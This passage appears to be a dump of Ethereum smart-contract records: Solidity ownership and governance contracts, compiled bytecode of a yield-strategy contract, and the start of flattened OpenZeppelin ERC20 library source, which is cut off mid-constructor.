leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.5.16; import "./Storage.sol"; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } }
0x608060405234801561001057600080fd5b506004361061023d5760003560e01c806373d7b7701161013b578063c2a2a07b116100b8578063f0b917f61161007c578063f0b917f614610537578063f77c479114610594578063f7c618c11461059c578063fbfa77cf146105a4578063fdf5272d146105ac5761023d565b8063c2a2a07b146104dc578063c4d66de8146104e4578063ce8c42e81461050a578063d3df8aa414610527578063db6204851461052f5761023d565b80639d16acfd116100ff5780639d16acfd14610491578063a1dab23e146104bc578063a8365693146104c4578063b60f151a146104cc578063bfd131f1146104d45761023d565b806373d7b7701461042d57806382de9c1b1461043557806385b97b6f1461043d5780639137c1a7146104635780639a508c8e146104895761023d565b806345d01e4a116101c9578063596fa9e31161018d578063596fa9e3146104055780635aa6e6751461040d57806366666aa914610415578063679670661461041d5780636f307dc3146104255761023d565b806345d01e4a146103995780634d352ab2146103a15780634fa5d854146103cf57806350185946146103d75780635641ec03146103fd5761023d565b80631113ef52116102105780631113ef52146103115780632e1e04621461034757806336e1cb0b1461034f5780633e0dc34e14610375578063457100741461037d5761023d565b8063026a0dd014610242578063051917941461025c57806309ff18f0146102c75780630c80447a146102eb575b600080fd5b61024a6105b4565b60408051918252519081900360200190f35b6102c5600480360361014081101561027357600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101358216916080820135169060a08101359060c08101359060e08101351515906101008101359061012001356105e5565b005b6102cf6106f5565b604080516001600160a01b039092168252519081900360200190f35b6102c56004803603602081101561030157600080fd5b50356001600160a01b0316610720565b6102c56004803603606081101561032757600080fd5b506001600160a01b03813581169160208101359091169060400135610817565b6102cf6109cf565b6102c56004803603602081101561036557600080fd5b50356001600160a01b03166109e7565b61024a610b37565b610385610b62565b604080519115158252519081900360200190f35b61024a610b8d565b6102c5600480360360408110156103b757600080fd5b506001600160a01b0381358116916020013516610cd7565b6102c5610ddf565b610385600480360360208110156103ed57600080fd5b50356001600160a01b0316610eda565b6102c5610f21565b6102cf610ffe565b6102cf611016565b6102cf611089565b6102cf6110b4565b6102cf6110c3565b6102cf6110ee565b61024a611119565b6102c56004803603602081101561045357600080fd5b50356001600160a01b0316611144565b6102c56004803603602081101561047957600080fd5b50356001600160a01b0316611297565b6102c56113c6565b610499611499565b6040805192151583526001600160a01b0390911660208301528051918290030190f35b61024a6114e5565b61024a611510565b61024a61153b565b6102c5611566565b6103856116c5565b6102c5600480360360208110156104fa57600080fd5b50356001600160a01b03166116ca565b6102c56004803603602081101561052057600080fd5b5035611776565b61038561195c565b6102c5611987565b6102c5600480360361010081101561054e57600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135821691608082013581169160a08101359160c082013581169160e0013516611a5c565b6102cf611ca9565b6102cf611ceb565b6102cf611d16565b6102cf611d41565b60006105df7f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b611d68565b90505b90565b600054610100900460ff16806105fe57506105fe611d6c565b8061060c575060005460ff16155b6106475760405162461bcd60e51b815260040180806020018281038252602e815260200180612ba5602e913960400191505060405180910390fd5b600054610100900460ff16158015610672576000805460ff1961ff0019909116610100171660011790555b61067b8b6116ca565b6106848a611d72565b61068d89611d9c565b61069688611dc6565b61069f87611df0565b6106a886611e1a565b6106b185611e44565b6106ba84611e6e565b6106c383611e98565b6106cc82611ec2565b6106d66000611eec565b80156106e8576000805461ff00191690555b5050505050505050505050565b60006105df7f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb84447611d68565b610728611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d60208110156107a757600080fd5b50516107eb576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6107f481611f3b565b61081461080f610802611510565b429063ffffffff611f6516565b611fc6565b50565b61081f611f16565b6001600160a01b031663b429afeb336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561087457600080fd5b505afa158015610888573d6000803e3d6000fd5b505050506040513d602081101561089e57600080fd5b50518061093057506108ae611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561090357600080fd5b505afa158015610917573d6000803e3d6000fd5b505050506040513d602081101561092d57600080fd5b50515b61096b5760405162461bcd60e51b815260040180806020018281038252602b815260200180612afc602b913960400191505060405180910390fd5b61097482610eda565b156109b05760405162461bcd60e51b8152600401808060200182810382526022815260200180612b276022913960400191505060405180910390fd5b6109ca6001600160a01b038316848363ffffffff611ff016565b505050565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b6109ef611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610a4457600080fd5b505afa158015610a58573d6000803e3d6000fd5b505050506040513d6020811015610a6e57600080fd5b5051610ab2576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6000610abc6110ee565b6001600160a01b031614610b0d576040805162461bcd60e51b8152602060048201526013602482015272141bdd141bdbdb08185b1c9958591e481cd95d606a1b604482015290519081900360640190fd5b6108147f7f4b50847e7d7a4da6a6ea36bfb188c77e9f093697337eb9a876744f926dd01482612042565b60006105df7f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b611d68565b60006105df7f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb6612046565b600080610b98611089565b6001600160a01b03161415610c3757610baf6110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d6020811015610c2e57600080fd5b505190506105e2565b6105df610c426110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610c9757600080fd5b505afa158015610cab573d6000803e3d6000fd5b505050506040513d6020811015610cc157600080fd5b5051610ccb61205a565b9063ffffffff611f6516565b600054610100900460ff1680610cf05750610cf0611d6c565b80610cfe575060005460ff16155b610d395760405162461bcd60e51b815260040180806020018281038252602e815260200180612ba5602e913960400191505060405180910390fd5b600054610100900460ff16158015610d64576000805460ff1961ff0019909116610100171660011790555b7306da0fd433c1a5d7a4faa01111c044910a184553736b3595068778dd592e39a122f4f5a5cf09c90fe2610dc785838673c2edad668740f1aa35e4d8f227fb8e17dca888cd85600073274aa8b58e8c57c4e347c8768ed853eb6d375b4881611a5c565b505080156109ca576000805461ff0019169055505050565b610de761195c565b15610e235760405162461bcd60e51b8152600401808060200182810382526034815260200180612c336034913960400191505060405180910390fd5b610e2b611d16565b6001600160a01b0316336001600160a01b03161480610e625750610e4d611ca9565b6001600160a01b0316336001600160a01b0316145b80610e855750610e70611016565b6001600160a01b0316336001600160a01b0316145b610ec05760405162461bcd60e51b8152600401808060200182810382526039815260200180612b496039913960400191505060405180910390fd5b610ec86120ea565b610ed0612173565b610ed86123d5565b565b6000610ee4611ceb565b6001600160a01b0316826001600160a01b03161480610f1b5750610f066110c3565b6001600160a01b0316826001600160a01b0316145b92915050565b610f29611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610f7e57600080fd5b505afa158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b5051610fec576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610ff46124b2565b610ed86001611eec565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000611020611f16565b6001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561105857600080fd5b505afa15801561106c573d6000803e3d6000fd5b505050506040513d602081101561108257600080fd5b5051905090565b60006105df7f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b8611d68565b6033546001600160a01b031681565b60006105df7fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e530611d68565b60006105df7f7f4b50847e7d7a4da6a6ea36bfb188c77e9f093697337eb9a876744f926dd014611d68565b60006105df7f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e611d68565b61114c611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156111a157600080fd5b505afa1580156111b5573d6000803e3d6000fd5b505050506040513d60208110156111cb57600080fd5b505161120f576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6000611219611d41565b6001600160a01b03161461126d576040805162461bcd60e51b8152602060048201526016602482015275121bd91b081d985d5b1d08185b1c9958591e481cd95d60521b604482015290519081900360640190fd5b6108147fc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f282612042565b61129f611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156112f457600080fd5b505afa158015611308573d6000803e3d6000fd5b505050506040513d602081101561131e57600080fd5b5051611362576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b0381166113bd576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b61081481612518565b6113ce611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561142357600080fd5b505afa158015611437573d6000803e3d6000fd5b505050506040513d602081101561144d57600080fd5b5051611491576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610ed861253c565b6000806114a4611119565b158015906114b857506114b5611119565b42115b80156114d5575060006114c96106f5565b6001600160a01b031614155b6114dd6106f5565b915091509091565b60006105df7fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc611d68565b60006105df7f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b31611d68565b60006105df7fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c029611d68565b61156e611d16565b6001600160a01b0316336001600160a01b031614806115a55750611590611ca9565b6001600160a01b0316336001600160a01b0316145b806115c857506115b3611016565b6001600160a01b0316336001600160a01b0316145b6116035760405162461bcd60e51b8152600401808060200182810382526039815260200180612b496039913960400191505060405180910390fd5b61160b6120ea565b611613612173565b610ed861161e611d16565b6116266110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561167b57600080fd5b505afa15801561168f573d6000803e3d6000fd5b505050506040513d60208110156116a557600080fd5b50516116af6110c3565b6001600160a01b0316919063ffffffff611ff016565b600190565b600054610100900460ff16806116e357506116e3611d6c565b806116f1575060005460ff16155b61172c5760405162461bcd60e51b815260040180806020018281038252602e815260200180612ba5602e913960400191505060405180910390fd5b600054610100900460ff16158015611757576000805460ff1961ff0019909116610100171660011790555b61176082612550565b8015611772576000805461ff00191690555b5050565b61177e611d16565b6001600160a01b0316336001600160a01b031614806117b557506117a0611ca9565b6001600160a01b0316336001600160a01b0316145b806117d857506117c3611016565b6001600160a01b0316336001600160a01b0316145b6118135760405162461bcd60e51b8152600401808060200182810382526039815260200180612b496039913960400191505060405180910390fd5b600061181d6110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561187257600080fd5b505afa158015611886573d6000803e3d6000fd5b505050506040513d602081101561189c57600080fd5b50519050808211156119485760006118ba838363ffffffff6125e616565b905060006118cf6118c961205a565b83612628565b90506118d9611089565b6001600160a01b031663441a3e706118ef610b37565b836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561192d57600080fd5b505af1158015611941573d6000803e3d6000fd5b5050505050505b611772611953611d16565b836116af6110c3565b60006105df7fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a612046565b61198f611f16565b6001600160a01b031663dee1f0e4336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156119e457600080fd5b505afa1580156119f8573d6000803e3d6000fd5b505050506040513d6020811015611a0e57600080fd5b5051611a52576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b610ed86000611eec565b600054610100900460ff1680611a755750611a75611d6c565b80611a83575060005460ff16155b611abe5760405162461bcd60e51b815260040180806020018281038252602e815260200180612ba5602e913960400191505060405180910390fd5b600054610100900460ff16158015611ae9576000805460ff1961ff0019909116610100171660011790555b6001600160a01b038616611b3b576040805162461bcd60e51b815260206004820152601460248201527372657761726420706f6f6c20697320656d70747960601b604482015290519081900360640190fd5b611b5c898989898961012c6103e86001670de0b6b3a764000061a8c06105e5565b6000611b66611089565b6001600160a01b0316631526fe27866040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015611ba957600080fd5b505afa158015611bbd573d6000803e3d6000fd5b505050506040513d6080811015611bd357600080fd5b50519050611bdf6110c3565b6001600160a01b0316816001600160a01b031614611c2e5760405162461bcd60e51b8152600401808060200182810382526023815260200180612b826023913960400191505060405180910390fd5b611c378561263e565b611c617fc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f285612042565b611c8b7f7f4b50847e7d7a4da6a6ea36bfb188c77e9f093697337eb9a876744f926dd01484612042565b508015611c9e576000805461ff00191690555b505050505050505050565b6000611cb3611f16565b6001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b15801561105857600080fd5b60006105df7fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf611d68565b60006105df7fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d41611d68565b60006105df7fc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f25b5490565b303b1590565b6108147fa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e53082612042565b6108147fefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d4182612042565b6108147f3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b882612042565b6108147fdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf82612042565b6108147fe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c02982612042565b6108147f0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b82612042565b6108147f656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb682612668565b6108147fc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc82612042565b6108147f82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b3182612042565b6108147fa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a82612668565b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc5490565b6108147f29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb8444782612042565b600082820183811015611fbf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6108147f414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e82612042565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526109ca908490612683565b9055565b600061205182611d68565b60011492915050565b6000612064611089565b6001600160a01b03166393f1a40b61207a610b37565b604080516001600160e01b031960e085901b16815260048101929092523060248301528051604480840193829003018186803b1580156120b957600080fd5b505afa1580156120cd573d6000803e3d6000fd5b505050506040513d60408110156120e357600080fd5b5051919050565b60006120f461205a565b9050801561081457612104611089565b6001600160a01b031663441a3e7061211a610b37565b836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561215857600080fd5b505af115801561216c573d6000803e3d6000fd5b5050505050565b600061217d611ceb565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156121d257600080fd5b505afa1580156121e6573d6000803e3d6000fd5b505050506040513d60208110156121fc57600080fd5b50519050801561081457612231612211611d41565b600061221b611ceb565b6001600160a01b0316919063ffffffff61284116565b61224561223c611d41565b8261221b611ceb565b61224d611d41565b6001600160a01b031663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561229257600080fd5b505af11580156122a6573d6000803e3d6000fd5b5050505060006122b4611d41565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561230957600080fd5b505afa15801561231d573d6000803e3d6000fd5b505050506040513d602081101561233357600080fd5b5051905061234b6123426110ee565b826116af611d41565b6123536110ee565b6001600160a01b0316637092a063612369611d41565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156123b957600080fd5b505af11580156123cd573d6000803e3d6000fd5b505050505050565b6123dd61195c565b156124195760405162461bcd60e51b8152600401808060200182810382526034815260200180612c336034913960400191505060405180910390fd5b60006124236110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561247857600080fd5b505afa15801561248c573d6000803e3d6000fd5b505050506040513d60208110156124a257600080fd5b50511115610ed857610ed8612954565b60006124bc61205a565b90508015610814576124cc611089565b6001600160a01b0316635312ea8e6124e2610b37565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561215857600080fd5b7fa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc55565b6125466000611f3b565b610ed86000611fc6565b600054610100900460ff16806125695750612569611d6c565b80612577575060005460ff16155b6125b25760405162461bcd60e51b815260040180806020018281038252602e815260200180612ba5602e913960400191505060405180910390fd5b600054610100900460ff161580156125dd576000805460ff1961ff0019909116610100171660011790555b61176082612518565b6000611fbf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a28565b60008183106126375781611fbf565b5090919050565b6108147f3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b82612042565b611772828261267857600061267b565b60015b60ff16612042565b612695826001600160a01b0316612abf565b6126e6576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106127245780518252601f199092019160209182019101612705565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612786576040519150601f19603f3d011682016040523d82523d6000602084013e61278b565b606091505b5091509150816127e2576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561283b578080602001905160208110156127fe57600080fd5b505161283b5760405162461bcd60e51b815260040180806020018281038252602a815260200180612bd3602a913960400191505060405180910390fd5b50505050565b8015806128c7575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561289957600080fd5b505afa1580156128ad573d6000803e3d6000fd5b505050506040513d60208110156128c357600080fd5b5051155b6129025760405162461bcd60e51b8152600401808060200182810382526036815260200180612bfd6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526109ca908490612683565b600061295e6110c3565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156129b357600080fd5b505afa1580156129c7573d6000803e3d6000fd5b505050506040513d60208110156129dd57600080fd5b505190506129f66129ec611089565b600061221b6110c3565b612a0a612a01611089565b8261221b6110c3565b612a12611089565b6001600160a01b031663e2bbb15861211a610b37565b60008184841115612ab75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a7c578181015183820152602001612a64565b50505050905090810190601f168015612aa95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590612af357508115155b94935050505056fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e6365746f6b656e20697320646566696e6564206173206e6f742073616c76616761626c655468652073656e6465722068617320746f2062652074686520636f6e74726f6c6c65722c20676f7665726e616e63652c206f72207661756c74506f6f6c20496e666f20646f6573206e6f74206d6174636820756e6465726c79696e67436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365416374696f6e20626c6f636b65642061732074686520737472617465677920697320696e20656d657267656e6379207374617465a265627a7a7231582040f233106d11773a3dc3c9388f801e5bba640eca9f0de79ded10c63bb9f4a6f764736f6c63430005100032
[ 7, 18 ]
0xf324c61e1cca65c1f545a9360C7846F8f18c7EF5
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 